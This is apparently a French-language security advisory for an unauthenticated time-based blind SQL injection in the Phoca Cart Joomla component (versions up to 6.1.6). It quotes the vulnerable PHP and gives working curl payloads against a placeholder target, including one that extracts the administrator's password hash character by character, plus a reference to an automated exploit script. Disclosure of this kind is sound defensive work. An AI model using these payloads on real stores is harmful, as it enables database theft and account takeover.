
Injection SQL non authentifiée via le filtre d'attributs dans Phoca Cart - CVSS 9.3
Phoca Cart ≤ 6.1.6 — Un attaquant non authentifié extrait l'intégralité de la base de données via une injection aveugle basée sur le temps
Les paramètres de tableau GET a[] (attribut) et s[] (spécification) de la page publique des articles de la boutique Phoca Cart sont concaténés bruts dans les clauses SQL WHERE sans paramétrage ni échappement. Un attaquant non authentifié peut injecter du SQL arbitraire via ces paramètres, permettant l'extraction complète de la base de données par des techniques d'injection aveugle basées sur le temps.
La vulnérabilité se trouve dans getSqlPartsArray() dans admin/libraries/phocacart/search/search.php. La fonction appelle explode(',', $v) avant de construire la liste IN() mais n'échappe jamais les valeurs résultantes — une charge utile sans virgule passe donc intacte dans la requête SQL. Comme getItemListQuery() est appelée deux fois par requête (getTotal() + getItemList()), une charge utile SLEEP(N) provoque un délai observable de 2×N secondes, rendant la détection temporelle très fiable.
| COMPOSANT | VULNÉRABLE | TESTÉ SUR | CORRIGÉ |
|---|---|---|---|
| Phoca Cart (com_phocacart) | 5.0.0 – 6.1.6 | Joomla 5.4.7 + Phoca Cart 6.1.6 (PHP 8.2 / Apache) | 6.1.7 |
Type : Injection SQL — aveugle basée sur le temps (CWE-89)
Authentification requise : Aucune — point d'accès public
Fichier : admin/libraries/phocacart/search/search.php
Le modèle des articles lit les paramètres a[] et s[] directement depuis la requête HTTP sans assainissement :
SITE/MODELS/ITEMS.PHP — LIGNES 92–93
$this->setState('a', $app->getInput()->get('a', '', 'array')); // ← raw array from GET
$this->setState('s', $app->getInput()->get('s', '', 'array')); // ← raw array from GET
Ces valeurs sont transmises à getSqlPartsArray(), qui divise chaque valeur sur les virgules et insère les fragments résultants directement dans la clause SQL IN() :
SEARCH.PHP — GETSQLPARTSARRAY() LIGNES 318–363 (VULNÉRABLE)
foreach ($value as $k => $v) {
$a = explode(',', $v); // splits on comma — but does NOT escape
$a = array_unique($a);
if ($k && $v) {
if ($searchArea == 'a') {
// ANY method — $a values are NOT escaped before implode:
$inA[] = '(at2.alias = ' . $db->quote($k) . ' AND v2.alias IN ('
. '\'' . implode('\',\'', $a) . '\'' // ← raw user input injected here
. '))';
// ALL method — $v2 injected raw into double-quoted context:
foreach ($a as $v2) {
$inAS[$iA] = 'at2.alias = ' . $db->quote($k)
. ' AND v2x' . $iA . '.alias = "' . $v2 . '"'; // ← raw $v2
$iA++;
}
}
else if ($searchArea == 's') {
// specification filter — same pattern, same flaw:
$inA[] = '(s2.alias = ' . $db->quote($k) . ' AND s2.alias_value IN ('
. '\'' . implode('\',\'', $a) . '\'' . '))'; // ← raw
}
}
}
Le fragment SQL résultant est inséré dans la requête principale :
a.id IN (
SELECT at2.product_id FROM #__phocacart_attributes AS at2
LEFT JOIN #__phocacart_attribute_values AS v2 ON v2.attribute_id = at2.id
WHERE (at2.alias = 'color' AND v2.alias IN ('INJECTION POINT'))
GROUP BY at2.product_id HAVING COUNT(at2.alias) >= 1
)
getActiveFilterValues() dans filter.php applique filterValue($item, 'alphanumeric') aux valeurs a[]/s[] pour la couche d'affichage. Cependant, getSqlPartsArray() relit ces mêmes paramètres directement depuis $app->getInput()->get('a', '', 'array') sans aucun assainissement, contournant entièrement la protection de la couche d'affichage.
Aucune authentification requise. La vue des articles (/index.php?option=com_phocacart&view=items) est accessible publiquement. Aucun attribut ni spécification ne doit être configuré sur la boutique.
Un utilisateur non authentifié peut accéder au portail de la boutique sans aucun identifiant.

Requête brute capturée dans Burp Suite — temps de réponse de référence : 76 ms.

a[])Une charge utile SLEEP(3) est injectée via le paramètre a[color]. Comme getItemListQuery() est appelée deux fois par requête, le délai attendu est 2 × 3 = 6 s. Observé : 7085 ms — confirmé.
# Time-based blind SQLi — SLEEP(3) fires twice → ~6s response
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"
# Result: 7.085s — CONFIRMED
# Specification filter (s[]) — same code path
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "s[spec]=x' AND (SELECT COUNT(*) FROM (SELECT SLEEP(3))z) AND '1'='1" \
"http://TARGET/index.php"

Remplacer SLEEP(3) par SLEEP(0) renvoie une réponse immédiate (1064 ms), confirmant que le délai est causé par le SLEEP injecté et non par les conditions réseau.

Extrayez le hash bcrypt de l'administrateur un octet à la fois. Contrainte critique : explode(',', $v) divise sur les virgules avant de construire le SQL — les charges utiles doivent utiliser SUBSTRING(str FROM pos FOR len) (syntaxe ANSI par mot-clé) pour éviter la troncature par les virgules, et CASE WHEN ... THEN ... ELSE ... END au lieu de IF().
# Extract ASCII value of char at position POS from admin password hash
# Replace POS (1-based) and EXPECTED_ASCII with actual values
# SLEEP(2) fires twice → 4s = match; <1s = no match
PAYLOAD="x' AND (SELECT COUNT(*) FROM (SELECT CASE WHEN \
((SELECT ASCII(SUBSTRING(password FROM POS FOR 1)) FROM jos_users WHERE username=0x61646d696e)=EXPECTED_ASCII) \
THEN SLEEP(2) ELSE 0 END as r)tmp) AND '1'='1"
curl -s -o /dev/null -w "%{time_total}s\n" -G \
--data-urlencode "option=com_phocacart" \
--data-urlencode "view=items" \
--data-urlencode "a[color]=$PAYLOAD" \
"http://TARGET/index.php"
Vérification en laboratoire — 12 premiers caractères du hash bcrypt de l'administrateur :
| pos | caractère | ASCII | réponse | correspondance |
|---|---|---|---|---|
| 1 | $ | 36 | >6s | ✓ |
| 2 | 2 | 50 | >6s | ✓ |
| 3 | y | 121 | >6s | ✓ |
| 4 | $ | 36 | >6s | ✓ |
| 5 | 1 | 49 | >6s | ✓ |
| 6 | 0 | 48 | >6s | ✓ |
| 7 | $ | 36 | >6s | ✓ |
| 8 | L | 76 | >6s | ✓ |
| 9 | N | 78 | >6s | ✓ |
| 10 | v | 118 | >6s | ✓ |
| 11 | t | 116 | >6s | ✓ |
| ... | ... | ... | >6s | ✓ |
Préfixe extrait $2y$10$LNvt... — le hash bcrypt complet de 60 caractères est récupérable en ~240 requêtes.
Le script exploit.py inclus extrait automatiquement le hash complet du mot de passe administrateur sans itération manuelle, en utilisant la même technique basée sur le temps décrite ci-dessus.
python exploit.py http://TARGET

com_phocacart installé et une interface publique est exploitable.INSERT / UPDATE / DELETE arbitraires, notamment créer de nouveaux comptes administrateurs ou modifier des enregistrements de commandes.